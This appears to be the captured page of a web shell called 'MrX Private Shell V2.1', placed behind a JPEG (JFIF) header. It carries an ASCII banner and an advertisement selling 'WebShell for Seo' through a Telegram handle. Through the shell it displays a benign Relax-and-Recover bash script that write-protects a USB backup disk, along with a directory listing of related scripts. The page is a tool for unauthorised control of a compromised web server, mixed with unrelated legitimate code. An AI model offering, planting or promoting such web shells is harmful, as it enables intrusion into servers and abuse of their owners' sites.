����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# USB output typically resides on a writable disk device
# which should be protected against overwriting by "rear recover"
# cf. https://github.com/rear/rear/issues/1271
# This code registers the USB output device as write protected.
# The values of the 'lsblk' output columns in WRITE_PROTECTED_ID_TYPES
# of the ReaR recovery system disk (parent of USB_DEVICE) are automatically added
# to the WRITE_PROTECTED_IDS array during "rear mkrescue/mkbackup".
# The default WRITE_PROTECTED_ID_TYPES are UUID PTUUID PARTUUID WWN.
local ids
ids="$( write_protection_ids "$USB_DEVICE" )"
# ids is a string of IDs separated by newline characters so quoting for 'test' is required
# but no quoting to add them to the array to get each ID as a separated array element:
if test "$ids" ; then
WRITE_PROTECTED_IDS+=( $ids )
DebugPrint "USB disk IDs of '$USB_DEVICE' added to WRITE_PROTECTED_IDS"
else
LogPrintError "Cannot write protect USB disk of '$USB_DEVICE' via ID (no ID found)"
fi
# The file system label of the ReaR data partition (i.e. USB_DEVICE) on the ReaR recovery system disk
# is automatically added to WRITE_PROTECTED_FS_LABEL_PATTERNS during "rear mkrescue/mkbackup".
# Empty lines in the lsblk output get automatically ignored (i.e. no empty array elements get added)
# and we do not alert the user via LogPrintError because file system labels are optional:
if WRITE_PROTECTED_FS_LABEL_PATTERNS+=( $( lsblk -ino LABEL "$USB_DEVICE" ) ) ; then
DebugPrint "File system label of '$USB_DEVICE' added to WRITE_PROTECTED_FS_LABEL_PATTERNS"
else
DebugPrint "Cannot write protect USB disk of '$USB_DEVICE' via file system label (none found)"
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 040_set_NETFS_requirements.sh | File | 398 B | 0644 |
|
| 060_set_usb_device.sh | File | 1.4 KB | 0644 |
|
| 380_copy_usb_fs_module.sh | File | 5.12 KB | 0644 |
|
| 480_initialize_write_protect_settings.sh | File | 1.62 KB | 0644 |
|